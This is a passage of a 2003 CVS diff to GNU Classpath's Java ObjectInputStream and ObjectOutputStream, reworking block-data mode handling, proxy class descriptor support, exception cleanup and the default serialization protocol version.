= null; - break; - - case TC_REFERENCE: - { - dumpElement ("REFERENCE "); - Integer oid = new Integer (this.realInputStream.readInt ()); - dumpElementln (Integer.toHexString(oid.intValue())); - ret_val = ((ObjectIdentityWrapper) - this.objectLookupTable.get (oid)).object; - break; - } - - case TC_CLASS: - { - dumpElementln ("CLASS"); - ObjectStreamClass osc = (ObjectStreamClass)readObject (); - Class clazz = osc.forClass (); - assignNewHandle (clazz); - ret_val = clazz; - break; - } - - case TC_CLASSDESC: - { - dumpElement ("CLASSDESC NAME="); - String name = this.realInputStream.readUTF (); - dumpElement (name + "; UID="); - long uid = this.realInputStream.readLong (); - dumpElement (Long.toHexString(uid) + "; FLAGS="); - byte flags = this.realInputStream.readByte (); - dumpElement (Integer.toHexString(flags) + "; FIELD COUNT="); - short field_count = this.realInputStream.readShort (); - dumpElementln (Short.toString(field_count)); - ObjectStreamField[] fields = new ObjectStreamField[field_count]; - - ObjectStreamClass osc = new ObjectStreamClass (name, uid, - flags, fields); - assignNewHandle (osc); - - for (int i=0; i < field_count; i++) - { - dumpElement (" TYPE CODE="); - char type_code = (char)this.realInputStream.readByte (); - dumpElement (type_code + "; FIELD NAME="); - String field_name = this.realInputStream.readUTF (); - dumpElementln (field_name); - String class_name; - - if (type_code == 'L' || type_code == '[') - class_name = (String)readObject (); - else - class_name = String.valueOf (type_code); - - fields[i] = - new ObjectStreamField (field_name, - TypeSignature.getClassForEncoding - (class_name)); - } - - Class cl = resolveClass (osc); - osc.setClass (cl); - setBlockDataMode (false); - - if (this.realInputStream.readByte () != TC_ENDBLOCKDATA) - throw new IOException ("Data annotated to class was not consumed."); - dumpElementln ("ENDBLOCKDATA "); - - osc.setSuperclass ((ObjectStreamClass)readObject ()); - ret_val = osc; - break; - } - - case TC_STRING: - { - dumpElement ("STRING="); - String s = this.realInputStream.readUTF (); - dumpElementln (s); - ret_val = processResolution (s, assignNewHandle (s)); - break; - } - - case TC_ARRAY: - { - dumpElementln ("ARRAY"); - ObjectStreamClass osc = (ObjectStreamClass)readObject (); - Class componentType = osc.forClass ().getComponentType (); - dumpElement ("ARRAY LENGTH="); - int length = this.realInputStream.readInt (); - dumpElementln (length + "; COMPONENT TYPE=" + componentType); - Object array = Array.newInstance (componentType, length); - int handle = assignNewHandle (array); - readArrayElements (array, componentType); - for (int i=0, len=Array.getLength(array); i < len; i++) - dumpElementln (" ELEMENT[" + i + "]=" + Array.get(array, i)); - ret_val = processResolution (array, handle); - break; - } - - case TC_OBJECT: + try { - dumpElementln ("OBJECT"); - ObjectStreamClass osc = (ObjectStreamClass)readObject (); - Class clazz = osc.forClass (); - - if (!Serializable.class.isAssignableFrom (clazz)) - throw new NotSerializableException (clazz + " is not Serializable, and thus cannot be deserialized."); - - if (Externalizable.class.isAssignableFrom (clazz)) - { - Externalizable obj = null; - - try - { - obj = (Externalizable)clazz.newInstance (); - } - catch (InstantiationException e) - { - throw new ClassNotFoundException ("Instance of " + clazz - + " could not be created"); - } - catch (IllegalAccessException e) - { - throw new ClassNotFoundException ("Instance of " + clazz - + " could not be created because class or zero-argument constructor is not accessible"); - } - catch (NoSuchMethodError e) - { - throw new ClassNotFoundException ("Instance of " + clazz - + " could not be created because zero-argument constructor is not defined"); - } - - int handle = assignNewHandle (obj); - - boolean read_from_blocks = ((osc.getFlags () & SC_BLOCK_DATA) != 0); - - if (read_from_blocks) - setBlockDataMode (true); - - obj.readExternal (this); - - if (read_from_blocks) - setBlockDataMode (false); - - ret_val = processResolution (obj, handle); - break; - } // end if (Externalizable.class.isAssignableFrom (clazz)) - - // find the first non-serializable, non-abstract - // class in clazz's inheritance hierarchy - Class first_nonserial = clazz.getSuperclass (); - while (Serializable.class.isAssignableFrom (first_nonserial) - || Modifier.isAbstract (first_nonserial.getModifiers ())) - first_nonserial = first_nonserial.getSuperclass (); - -// DEBUGln ("Using " + first_nonserial -// + " as starting point for constructing " + clazz); - - Object obj = null; - obj = newObject (clazz, first_nonserial); - - if (obj == null) - throw new ClassNotFoundException ("Instance of " + clazz + - " could not be created"); - - int handle = assignNewHandle (obj); - this.currentObject = obj; - ObjectStreamClass[] hierarchy = - ObjectStreamClass.getObjectStreamClasses (clazz); - -// DEBUGln ("Got class hierarchy of depth " + hierarchy.length); - - boolean has_read; - for (int i=0; i < hierarchy.length; i++) - { - this.currentObjectStreamClass = hierarchy[i]; - - dumpElementln ("Reading fields of " - + this.currentObjectStreamClass.getName ()); - - has_read = true; - - try - { - this.currentObjectStreamClass.forClass (). - getDeclaredMethod ("readObject", readObjectParams); - } - catch (NoSuchMethodException e) + switch (marker) { - has_read = false; - } + case TC_ENDBLOCKDATA: + { + ret_val = null; + is_consumed = true; + break; + } + + case TC_BLOCKDATA: + case TC_BLOCKDATALONG: + { + if (marker == TC_BLOCKDATALONG) + dumpElementln ("BLOCKDATALONG"); + else + dumpElementln ("BLOCKDATA"); + readNextBlock (marker); + throw new StreamCorruptedException ("Unexpected blockData"); + } + + case TC_NULL: + { + dumpElementln ("NULL"); + ret_val = null; + break; + } + + case TC_REFERENCE: + { + dumpElement ("REFERENCE "); + Integer oid = new Integer (this.realInputStream.readInt ()); + dumpElementln (Integer.toHexString(oid.intValue())); + ret_val = ((ObjectIdentityWrapper) + this.objectLookupTable.get (oid)).object; + break; + } + + case TC_CLASS: + { + dumpElementln ("CLASS"); + ObjectStreamClass osc = (ObjectStreamClass)readObject (); + Class clazz = osc.forClass (); + assignNewHandle (clazz); + ret_val = clazz; + break; + } + + case TC_PROXYCLASSDESC: + { + dumpElementln ("PROXYCLASS"); + int n_intf = this.realInputStream.readInt(); + String[] intfs = new String[n_intf]; + for (int i = 0; i < n_intf; i++) + { + intfs[i] = this.realInputStream.readUTF(); + System.out.println(intfs[i]); + } + + boolean oldmode = setBlockDataMode (true); + Class cl = resolveProxyClass(intfs); + setBlockDataMode(oldmode); + + ObjectStreamClass osc = ObjectStreamClass.lookup(cl); + assignNewHandle (osc); + + if (!is_consumed) + { + byte b = this.realInputStream.readByte (); + if (b != TC_ENDBLOCKDATA) + throw new IOException ("Data annotated to class was not consumed." + b); + } + else + is_consumed = false; + ObjectStreamClass superosc = (ObjectStreamClass)readObject (); + osc.setSuperclass (superosc); + ret_val = osc; + break; + } + + case TC_CLASSDESC: + { + dumpElement ("CLASSDESC NAME="); + String name = this.realInputStream.readUTF (); + dumpElement (name + "; UID="); + long uid = this.realInputStream.readLong (); + dumpElement (Long.toHexString(uid) + "; FLAGS="); + byte flags = this.realInputStream.readByte (); + dumpElement (Integer.toHexString(flags) + "; FIELD COUNT="); + short field_count = this.realInputStream.readShort (); + dumpElementln (Short.toString(field_count)); + ObjectStreamField[] fields = new ObjectStreamField[field_count]; + + ObjectStreamClass osc = new ObjectStreamClass (name, uid, + flags, fields); + assignNewHandle (osc); + + for (int i=0; i < field_count; i++) + { + dumpElement (" TYPE CODE="); + char type_code = (char)this.realInputStream.readByte (); + dumpElement (type_code + "; FIELD NAME="); + String field_name = this.realInputStream.readUTF (); + dumpElementln (field_name); + String class_name; + + if (type_code == 'L' || type_code == '[') + class_name = (String)readObject (); + else + class_name = String.valueOf (type_code); + + // There're many cases you can't get java.lang.Class from + // typename if your context class loader can't load it, + // then use typename to construct the field + fields[i] = + new ObjectStreamField (field_name, class_name); + } + + boolean oldmode = setBlockDataMode (true); + osc.setClass (resolveClass (osc)); + setBlockDataMode (oldmode); + + if (!is_consumed) + { + byte b = this.realInputStream.readByte (); + if (b != TC_ENDBLOCKDATA) + throw new IOException ("Data annotated to class was not consumed." + b); + } + else + is_consumed = false; + + osc.setSuperclass ((ObjectStreamClass)readObject ()); + ret_val = osc; + break; + } + + case TC_STRING: + case TC_LONGSTRING: + { + dumpElement ("STRING="); + String s = this.realInputStream.readUTF (); + dumpElementln (s); + ret_val = processResolution (s, assignNewHandle (s)); + break; + } + + case TC_ARRAY: + { + dumpElementln ("ARRAY"); + ObjectStreamClass osc = (ObjectStreamClass)readObject (); + Class componentType = osc.forClass ().getComponentType (); + dumpElement ("ARRAY LENGTH="); + int length = this.realInputStream.readInt (); + dumpElementln (length + "; COMPONENT TYPE=" + componentType); + Object array = Array.newInstance (componentType, length); + int handle = assignNewHandle (array); + readArrayElements (array, componentType); + for (int i=0, len=Array.getLength(array); i < len; i++) + dumpElementln (" ELEMENT[" + i + "]=" + Array.get(array, i)); + ret_val = processResolution (array, handle); + break; + } + + case TC_OBJECT: + { + dumpElementln ("OBJECT"); + ObjectStreamClass osc = (ObjectStreamClass)readObject (); + Class clazz = osc.forClass (); + + if (!Serializable.class.isAssignableFrom (clazz)) + throw new NotSerializableException (clazz + " is not Serializable, and thus cannot be deserialized."); + + if (Externalizable.class.isAssignableFrom (clazz)) + { + Externalizable obj = null; + + try + { + obj = (Externalizable)clazz.newInstance (); + } + catch (InstantiationException e) + { + throw new ClassNotFoundException ("Instance of " + clazz + + " could not be created"); + } + catch (IllegalAccessException e) + { + throw new ClassNotFoundException ("Instance of " + clazz + + " could not be created because class or zero-argument constructor is not accessible"); + } + catch (NoSuchMethodError e) + { + throw new ClassNotFoundException ("Instance of " + clazz + + " could not be created because zero-argument constructor is not defined"); + } + + int handle = assignNewHandle (obj); + + boolean read_from_blocks = ((osc.getFlags () & SC_BLOCK_DATA) != 0); + + boolean oldmode = this.readDataFromBlock; + if (read_from_blocks) + setBlockDataMode (true); + + obj.readExternal (this); + + if (read_from_blocks) + setBlockDataMode (oldmode); + + ret_val = processResolution (obj, handle); + break; + } // end if (Externalizable.class.isAssignableFrom (clazz)) + + // find the first non-serializable, non-abstract + // class in clazz's inheritance hierarchy + Class first_nonserial = clazz.getSuperclass (); + while (Serializable.class.isAssignableFrom (first_nonserial) + || Modifier.isAbstract (first_nonserial.getModifiers ())) + first_nonserial = first_nonserial.getSuperclass (); + + // DEBUGln ("Using " + first_nonserial + // + " as starting point for constructing " + clazz); + + Object obj = null; + obj = newObject (clazz, first_nonserial); + + if (obj == null) + throw new ClassNotFoundException ("Instance of " + clazz + + " could not be created"); + + int handle = assignNewHandle (obj); + this.currentObject = obj; + ObjectStreamClass[] hierarchy = + ObjectStreamClass.getObjectStreamClasses (clazz); + + // DEBUGln ("Got class hierarchy of depth " + hierarchy.length); + + boolean has_read; + for (int i=0; i < hierarchy.length; i++) + { + this.currentObjectStreamClass = hierarchy[i]; + + dumpElementln ("Reading fields of " + + this.currentObjectStreamClass.getName ()); + + has_read = true; + + try + { + this.currentObjectStreamClass.forClass (). + getDeclaredMethod ("readObject", readObjectParams); + } + catch (NoSuchMethodException e) + { + has_read = false; + } + + // XXX: should initialize fields in classes in the hierarchy + // that aren't in the stream + // should skip over classes in the stream that aren't in the + // real classes hierarchy + readFields (obj, this.currentObjectStreamClass.fields, + has_read, this.currentObjectStreamClass); + + if (has_read) + { + dumpElement ("ENDBLOCKDATA? "); + try + { + // FIXME: XXX: This try block is to catch EOF which is + // thrown for some objects. That indicates a bug in the logic. + if (this.realInputStream.readByte () != TC_ENDBLOCKDATA) + throw new IOException ("No end of block data seen for class with readObject (ObjectInputStream) method."); + dumpElementln ("yes"); + } + catch (EOFException e) + { + dumpElementln ("no, got EOFException"); + } + catch (IOException e) + { + dumpElementln ("no, got IOException"); + } + } + } + + this.currentObject = null; + this.currentObjectStreamClass = null; + ret_val = processResolution (obj, handle); + break; + } + + case TC_RESET: + dumpElementln ("RESET"); + clearHandles (); + ret_val = readObject (); + break; + + case TC_EXCEPTION: + { + dumpElement ("EXCEPTION="); + Exception e = (Exception)readObject (); + dumpElementln (e.toString()); + clearHandles (); + throw new WriteAbortedException ("Exception thrown during writing of stream", e); + } + + default: + throw new IOException ("Unknown marker on stream: " + marker); - // XXX: should initialize fields in classes in the hierarchy - // that aren't in the stream - // should skip over classes in the stream that aren't in the - // real classes hierarchy - readFields (obj, this.currentObjectStreamClass.fields, - has_read, this.currentObjectStreamClass); - - if (has_read) - { - dumpElement ("ENDBLOCKDATA? "); - try - { - // FIXME: XXX: This try block is to catch EOF which is - // thrown for some objects. That indicates a bug in the logic. - if (this.realInputStream.readByte () != TC_ENDBLOCKDATA) - throw new IOException ("No end of block data seen for class with readObject (ObjectInputStream) method."); - dumpElementln ("yes"); - } - catch (EOFException e) - { - dumpElementln ("no, got EOFException"); - } - catch (IOException e) - { - dumpElementln ("no, got IOException"); - } } - } - - this.currentObject = null; - this.currentObjectStreamClass = null; - ret_val = processResolution (obj, handle); - break; } - - case TC_RESET: - dumpElementln ("RESET"); - clearHandles (); - ret_val = readObject (); - break; - - case TC_EXCEPTION: + finally { - dumpElement ("EXCEPTION="); - Exception e = (Exception)readObject (); - dumpElementln (e.toString()); - clearHandles (); - throw new WriteAbortedException ("Exception thrown during writing of stream", e); + setBlockDataMode (old_mode); + + this.isDeserializing = was_deserializing; + + if (! was_deserializing) + { + if (validators.size () > 0) + invokeValidators (); + } } - - default: - throw new IOException ("Unknown marker on stream"); - } - - this.isDeserializing = was_deserializing; - - if (! was_deserializing) - { - setBlockDataMode (true); - - if (validators.size () > 0) - invokeValidators (); - } - + return ret_val; } - + /** Reads the current objects non-transient, non-static fields from @@ -439,9 +494,11 @@ if (fieldsAlreadyRead) throw new NotActiveException ("defaultReadObject called but fields already read from stream (by defaultReadObject or readFields)"); + boolean oldmode = setBlockDataMode(false); readFields (this.currentObject, this.currentObjectStreamClass.fields, false, this.currentObjectStreamClass); + setBlockDataMode(oldmode); fieldsAlreadyRead = true; } @@ -500,13 +557,18 @@ throws ClassNotFoundException, IOException { SecurityManager sm = System.getSecurityManager (); + if (sm == null) + sm = new SecurityManager () {}; // FIXME: currentClassLoader doesn't yet do anything useful. We need // to call forName() with the classloader of the class which called // readObject(). See SecurityManager.getClassContext(). ClassLoader cl = currentClassLoader (sm); - return Class.forName (osc.getName (), true, cl); + if (cl == null) + return Class.forName (osc.getName ()); + else + return cl.loadClass (osc.getName ()); } /** @@ -617,7 +679,17 @@ if (this.readDataFromBlock) { if (this.blockDataPosition + length > this.blockDataBytes) - readNextBlock (); + { + int remain = this.blockDataBytes - this.blockDataPosition; + if (remain != 0) + { + System.arraycopy (this.blockData, this.blockDataPosition, + data, offset, remain); + offset += remain; + length -= remain; + } + readNextBlock (); + } System.arraycopy (this.blockData, this.blockDataPosition, data, offset, length); @@ -785,11 +857,11 @@ // Apparently Block data is not used with GetField as per // empirical evidence against JDK 1.2. Also see Mauve test // java.io.ObjectInputOutput.Test.GetPutField. - setBlockDataMode (false); + boolean oldmode = setBlockDataMode (false); readFully (prim_field_data); for (int i = 0; i < objs.length; ++ i) objs[i] = readObject (); - setBlockDataMode (true); + setBlockDataMode (oldmode); return new GetField () { @@ -990,7 +1062,7 @@ de serialization mechanism provided by ObjectInputStream. To make this method be used for writing objects, subclasses must invoke the 0-argument - constructor on this class from there constructor. + constructor on this class from their constructor. @see ObjectInputStream () */ @@ -1175,9 +1247,9 @@ { // DEBUGln (" call_read_method is true"); fieldsAlreadyRead = false; - setBlockDataMode (true); + boolean oldmode = setBlockDataMode (true); callReadMethod (obj, stream_osc.forClass ()); - setBlockDataMode (false); + setBlockDataMode (oldmode); return; } @@ -1237,101 +1309,109 @@ } } - if (type == Boolean.TYPE) - { - boolean value = - default_initialize ? false : this.realInputStream.readBoolean (); - if (!default_initialize && set_value) - dumpElementln (" " + field_name + ": " + value); - if (set_value) - setBooleanField (obj, field_name, value); - } - else if (type == Byte.TYPE) - { - byte value = - default_initialize ? 0 : this.realInputStream.readByte (); - if (!default_initialize && set_value) - dumpElementln (" " + field_name + ": " + value); - if (set_value) - setByteField (obj, field_name, value); - } - else if (type == Character.TYPE) - { - char value = - default_initialize ? (char)0 : this.realInputStream.readChar (); - if (!default_initialize && set_value) - dumpElementln (" " + field_name + ": " + value); - if (set_value) - setCharField (obj, field_name, value); - } - else if (type == Double.TYPE) - { - double value = - default_initialize ? 0 : this.realInputStream.readDouble (); - if (!default_initialize && set_value) - dumpElementln (" " + field_name + ": " + value); - if (set_value) - setDoubleField (obj, field_name, value); - } - else if (type == Float.TYPE) - { - float value = - default_initialize ? 0 : this.realInputStream.readFloat (); - if (!default_initialize && set_value) - dumpElementln (" " + field_name + ": " + value); - if (set_value) - setFloatField (obj, field_name, value); - } - else if (type == Integer.TYPE) - { - int value = - default_initialize ? 0 : this.realInputStream.readInt (); - if (!default_initialize && set_value) - dumpElementln (" " + field_name + ": " + value); - if (set_value) - setIntField (obj, field_name, value); - } - else if (type == Long.TYPE) - { - long value = - default_initialize ? 0 : this.realInputStream.readLong (); - if (!default_initialize && set_value) - dumpElementln (" " + field_name + ": " + value); - if (set_value) - setLongField (obj, field_name, value); - } - else if (type == Short.TYPE) - { - short value = - default_initialize ? (short)0 : this.realInputStream.readShort (); - if (!default_initialize && set_value) - dumpElementln (" " + field_name + ": " + value); - if (set_value) - setShortField (obj, field_name, value); - } - else - { - Object value = - default_initialize ? null : readObject (); - if (set_value) - setObjectField (obj, field_name, - real_field.getTypeString (), value); - } + try + { + if (type == Boolean.TYPE) + { + boolean value = + default_initialize ? false : this.realInputStream.readBoolean (); + if (!default_initialize && set_value) + dumpElementln (" " + field_name + ": " + value); + if (set_value) + setBooleanField (obj, field_name, value); + } + else if (type == Byte.TYPE) + { + byte value = + default_initialize ? 0 : this.realInputStream.readByte (); + if (!default_initialize && set_value) + dumpElementln (" " + field_name + ": " + value); + if (set_value) + setByteField (obj, field_name, value); + } + else if (type == Character.TYPE) + { + char value = + default_initialize ? (char)0 : this.realInputStream.readChar (); + if (!default_initialize && set_value) + dumpElementln (" " + field_name + ": " + value); + if (set_value) + setCharField (obj, field_name, value); + } + else if (type == Double.TYPE) + { + double value = + default_initialize ? 0 : this.realInputStream.readDouble (); + if (!default_initialize && set_value) + dumpElementln (" " + field_name + ": " + value); + if (set_value) + setDoubleField (obj, field_name, value); + } + else if (type == Float.TYPE) + { + float value = + default_initialize ? 0 : this.realInputStream.readFloat (); + if (!default_initialize && set_value) + dumpElementln (" " + field_name + ": " + value); + if (set_value) + setFloatField (obj, field_name, value); + } + else if (type == Integer.TYPE) + { + int value = + default_initialize ? 0 : this.realInputStream.readInt (); + if (!default_initialize && set_value) + dumpElementln (" " + field_name + ": " + value); + if (set_value) + setIntField (obj, field_name, value); + } + else if (type == Long.TYPE) + { + long value = + default_initialize ? 0 : this.realInputStream.readLong (); + if (!default_initialize && set_value) + dumpElementln (" " + field_name + ": " + value); + if (set_value) + setLongField (obj, field_name, value); + } + else if (type == Short.TYPE) + { + short value = + default_initialize ? (short)0 : this.realInputStream.readShort (); + if (!default_initialize && set_value) + dumpElementln (" " + field_name + ": " + value); + if (set_value) + setShortField (obj, field_name, value); + } + else + { + Object value = + default_initialize ? null : readObject (); + if (set_value) + setObjectField (obj, field_name, + real_field.getTypeString (), value); + } + } + catch (NoSuchFieldError e) + { + dumpElementln("XXXX " + field_name + " does not exist."); + } } } // Toggles writing primitive data to block-data buffer. - private void setBlockDataMode (boolean on) + private boolean setBlockDataMode (boolean on) { // DEBUGln ("Setting block data mode to " + on); - + boolean oldmode = this.readDataFromBlock; this.readDataFromBlock = on; if (on) this.dataInputStream = this.blockDataInput; else this.dataInputStream = this.realInputStream; + return oldmode; } @@ -1380,12 +1460,18 @@ return ClassLoader.getSystemClassLoader (); } - private static native Field getField (Class klass, String name) - throws java.lang.NoSuchFieldException; - - private static native Method getMethod (Class klass, String name, Class args[]) - throws java.lang.NoSuchMethodException; - + private static Field getField (Class klass, String name) + throws java.lang.NoSuchFieldException + { + return klass.getDeclaredField(name); + } + + private static Method getMethod (Class klass, String name, Class args[]) + throws java.lang.NoSuchMethodException + { + return klass.getDeclaredMethod(name, args); + } + private void callReadMethod (Object obj, Class klass) throws IOException { try @@ -1593,6 +1679,14 @@ if (Configuration.DEBUG && dump) System.out.println(msg); } + + static + { + if (Configuration.INIT_LOAD_LIBRARY) + { + System.loadLibrary ("javaio"); + } + } } Index: java/io/ObjectOutputStream.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/ObjectOutputStream.java,v retrieving revision 1.10 diff -u -r1.10 ObjectOutputStream.java --- java/io/ObjectOutputStream.java 22 Jan 2002 22:40:14 -0000 1.10 +++ java/io/ObjectOutputStream.java 23 Feb 2003 15:55:38 -0000 @@ -1,5 +1,5 @@ /* ObjectOutputStream.java -- Class used to write serialized objects - Copyright (C) 1998, 1999, 2000, 2001 Free Software Foundation, Inc. + Copyright (C) 1998, 1999, 2000, 2001, 2002, 2003 Free Software Foundation, Inc. This file is part of GNU Classpath. @@ -46,6 +46,7 @@ import gnu.java.io.ObjectIdentityWrapper; import gnu.java.lang.reflect.TypeSignature; +import gnu.classpath.Configuration; /** An ObjectOutputStream can be used to write objects @@ -167,229 +168,242 @@ public final void writeObject (Object obj) throws IOException { if (useSubclassMethod) - { - writeObjectOverride (obj); - return; - } + { + writeObjectOverride (obj); + return; + } boolean was_serializing = isSerializing; - - if (! was_serializing) - setBlockDataMode (false); - + boolean old_mode = setBlockDataMode (false); try - { - isSerializing = true; - boolean replaceDone = false; - - drain (); - - while (true) { - if (obj == null) - { - realOutput.writeByte (TC_NULL); - break; - } - - Integer handle = findHandle (obj); - if (handle != null) - { - realOutput.writeByte (TC_REFERENCE); - realOutput.writeInt (handle.intValue ()); - break; - } - - if (obj instanceof Class) - { - realOutput.writeByte (TC_CLASS); - writeObject (ObjectStreamClass.lookup ((Class)obj)); - assignNewHandle (obj); - break; - } - - if (obj instanceof ObjectStreamClass) - { - ObjectStreamClass osc = (ObjectStreamClass)obj; - realOutput.writeByte (TC_CLASSDESC); - realOutput.writeUTF (osc.getName ()); - realOutput.writeLong (osc.getSerialVersionUID ()); - assignNewHandle (obj); - - int flags = osc.getFlags (); - - if (protocolVersion == PROTOCOL_VERSION_2 - && osc.isExternalizable ()) - flags |= SC_BLOCK_DATA; - - realOutput.writeByte (flags); - - ObjectStreamField[] fields = osc.fields; - realOutput.writeShort (fields.length); - - ObjectStreamField field; - for (int i=0; i < fields.length; i++) - { - field = fields[i]; - realOutput.writeByte (field.getTypeCode ()); - realOutput.writeUTF (field.getName ()); - - if (! field.isPrimitive ()) - writeObject (field.getTypeString ()); - } - - setBlockDataMode (true); - annotateClass (osc.forClass ()); - setBlockDataMode (false); - realOutput.writeByte (TC_ENDBLOCKDATA); - - if (osc.isSerializable ()) - writeObject (osc.getSuper ()); - else - writeObject (null); - break; - } - - + isSerializing = true; + boolean replaceDone = false; Object replacedObject = null; - - if ((replacementEnabled || obj instanceof Serializable) - && ! replaceDone) - { - replacedObject = obj; - - if (obj instanceof Serializable) - { - Method m = null; - try + + while (true) + { + if (obj == null) { - Class classArgs[] = {}; - m = obj.getClass ().getDeclaredMethod ("writeReplace", - classArgs); - // m can't be null by definition since an exception would - // have been thrown so a check for null is not needed. - obj = m.invoke (obj, new Object[] {}); + realOutput.writeByte (TC_NULL); + break; } - catch (NoSuchMethodException ignore) + + Integer handle = findHandle (obj); + if (handle != null) { + realOutput.writeByte (TC_REFERENCE); + realOutput.writeInt (handle.intValue ()); + break; } - catch (IllegalAccessException ignore) + + if (obj instanceof Class) { + Class cl = (Class)obj; + ObjectStreamClass osc = ObjectStreamClass.lookupForClassObject(cl); + assignNewHandle (obj); + realOutput.writeByte (TC_CLASS); + if (!osc.isProxyClass) + { + writeObject(osc); + } + else + { + realOutput.writeByte (TC_PROXYCLASSDESC); + Class[] intfs = cl.getInterfaces(); + realOutput.writeInt(intfs.length); + for (int i = 0; i < intfs.length; i++) + realOutput.writeUTF(intfs[i].getName()); + + boolean oldmode = setBlockDataMode (true); + annotateProxyClass(cl); + setBlockDataMode (oldmode); + realOutput.writeByte(TC_ENDBLOCKDATA); + + writeObject (osc.getSuper()); + } + break; } - catch (InvocationTargetException ignore) + + if (obj instanceof ObjectStreamClass) { + ObjectStreamClass osc = (ObjectStreamClass)obj; + realOutput.writeByte (TC_CLASSDESC); + realOutput.writeUTF (osc.getName ()); + realOutput.writeLong (osc.getSerialVersionUID ()); + assignNewHandle (obj); + + int flags = osc.getFlags (); + + if (protocolVersion == PROTOCOL_VERSION_2 + && osc.isExternalizable ()) + flags |= SC_BLOCK_DATA; + + realOutput.writeByte (flags); + + ObjectStreamField[] fields = osc.fields; + realOutput.writeShort (fields.length); + + ObjectStreamField field; + for (int i=0; i < fields.length; i++) + { + field = fields[i]; + realOutput.writeByte (field.getTypeCode ()); + realOutput.writeUTF (field.getName ()); + + if (! field.isPrimitive ()) + writeObject (field.getTypeString ()); + } + + boolean oldmode = setBlockDataMode (true); + annotateClass (osc.forClass ()); + setBlockDataMode (oldmode); + realOutput.writeByte (TC_ENDBLOCKDATA); + + if (osc.isSerializable ()) + writeObject (osc.getSuper ()); + else + writeObject (null); + break; } - } - - if (replacementEnabled) - obj = replaceObject (obj); - - replaceDone = true; - continue; - } - - if (obj instanceof String) - { - realOutput.writeByte (TC_STRING); - assignNewHandle (obj); - realOutput.writeUTF ((String)obj); - break; - } - - Class clazz = obj.getClass (); - ObjectStreamClass osc = ObjectStreamClass.lookup (clazz); - if (osc == null) - throw new NotSerializableException (clazz.getName ()); - - if (clazz.isArray ()) - { - realOutput.writeByte (TC_ARRAY); - writeObject (osc); - assignNewHandle (obj); - writeArraySizeAndElements (obj, clazz.getComponentType ()); - break; - } - - realOutput.writeByte (TC_OBJECT); - writeObject (osc); - - if (replaceDone) - assignNewHandle (replacedObject); - else - assignNewHandle (obj); - - if (obj instanceof Externalizable) - { - if (protocolVersion == PROTOCOL_VERSION_2) - setBlockDataMode (true); - - ((Externalizable)obj).writeExternal (this); + + if ((replacementEnabled || obj instanceof Serializable) + && ! replaceDone) + { + replacedObject = obj; + + if (obj instanceof Serializable) + { + Method m = null; + try + { + Class classArgs[] = {}; + m = obj.getClass ().getDeclaredMethod ("writeReplace", + classArgs); + // m can't be null by definition since an exception would + // have been thrown so a check for null is not needed. + obj = m.invoke (obj, new Object[] {}); + } + catch (NoSuchMethodException ignore) + { + } + catch (IllegalAccessException ignore) + { + } + catch (InvocationTargetException ignore) + { + } + } + + if (replacementEnabled) + obj = replaceObject (obj); + + replaceDone = true; + continue; + } + + if (obj instanceof String) + { + realOutput.writeByte (TC_STRING); + assignNewHandle (obj); + realOutput.writeUTF ((String)obj); + break; + } + + Class clazz = obj.getClass (); + ObjectStreamClass osc = ObjectStreamClass.lookupForClassObject (clazz); + if (osc == null) + throw new NotSerializableException (clazz.getName ()); + + if (clazz.isArray ()) + { + realOutput.writeByte (TC_ARRAY); + writeObject (osc); + assignNewHandle (obj); + writeArraySizeAndElements (obj, clazz.getComponentType ()); + break; + } + + realOutput.writeByte (TC_OBJECT); + writeObject (osc); + + if (replaceDone) + assignNewHandle (replacedObject); + else + assignNewHandle (obj); + + if (obj instanceof Externalizable) + { + if (protocolVersion == PROTOCOL_VERSION_2) + setBlockDataMode (true); + + ((Externalizable)obj).writeExternal (this); + + if (protocolVersion == PROTOCOL_VERSION_2) + { + setBlockDataMode (false); + realOutput.writeByte (TC_ENDBLOCKDATA); + } + + break; + } + + if (obj instanceof Serializable) + { + currentObject = obj; + ObjectStreamClass[] hierarchy = + ObjectStreamClass.getObjectStreamClasses (clazz); + + boolean has_write; + for (int i=0; i < hierarchy.length; i++) + { + currentObjectStreamClass = hierarchy[i]; + + fieldsAlreadyWritten = false; + has_write = currentObjectStreamClass.hasWriteMethod (); + + writeFields (obj, currentObjectStreamClass.fields, + has_write); + + } + + currentObject = null; + currentObjectStreamClass = null; + currentPutField = null; + break; + } + + throw new NotSerializableException (clazz.getName ()); + } // end pseudo-loop + } + catch (ObjectStreamException ose) + { + // Rethrow these are fatal. + throw ose; + } + catch (IOException e) + { + realOutput.writeByte (TC_EXCEPTION); + reset (true); - if (protocolVersion == PROTOCOL_VERSION_2) + setBlockDataMode (false); + try { - setBlockDataMode (false); - drain (); + writeObject (e); } - - break; - } - - if (obj instanceof Serializable) - { - currentObject = obj; - ObjectStreamClass[] hierarchy = - ObjectStreamClass.getObjectStreamClasses (clazz); - - boolean has_write; - for (int i=0; i < hierarchy.length; i++) + catch (IOException ioe) { - currentObjectStreamClass = hierarchy[i]; - - fieldsAlreadyWritten = false; - has_write = currentObjectStreamClass.hasWriteMethod (); - - writeFields (obj, currentObjectStreamClass.fields, - has_write); - - if (has_write) - { - drain (); - realOutput.writeByte (TC_ENDBLOCKDATA); - } + throw new StreamCorruptedException ("Exception " + ioe + " thrown while exception was being written to stream."); } - - currentObject = null; - currentObjectStreamClass = null; - currentPutField = null; - break; - } - - throw new NotSerializableException (clazz.getName ()); - } // end pseudo-loop - } - catch (IOException e) - { - realOutput.writeByte (TC_EXCEPTION); - reset (true); - - try - { - writeObject (e); - } - catch (IOException ioe) - { - throw new StreamCorruptedException ("Exception " + ioe + " thrown while exception was being written to stream."); + + reset (true); } - - reset (true); - } finally - { - isSerializing = was_serializing; + { + isSerializing = was_serializing; - if (! was_serializing) - setBlockDataMode (true); - } + setBlockDataMode (old_mode); + } } @@ -466,8 +480,8 @@ according to the specified protocol. There are currently two different protocols, specified by PROTOCOL_VERSION_1 and PROTOCOL_VERSION_2. This implementation writes - data using PROTOCOL_VERSION_1 by default, as is done - by the JDK 1.1. + data using PROTOCOL_VERSION_2 by default, as is done + by the JDK 1.2. A non-portable method, setDefaultProtocolVersion (int version) is provided to change the default protocol @@ -528,6 +542,8 @@ protected void annotateClass (Class cl) throws IOException {} + protected void annotateProxyClass(Class cl) throws IOException + {} /** Allows subclasses to replace objects that are written to the @@ -702,7 +718,8 @@ if (blockDataCount == 0) return; - writeBlockDataHeader (blockDataCount); + if (writeDataAsBlocks) + writeBlockDataHeader (blockDataCount); realOutput.write (blockData, 0, blockDataCount); blockDataCount = 0; } @@ -713,7 +730,7 @@ */ public void close () throws IOException { - 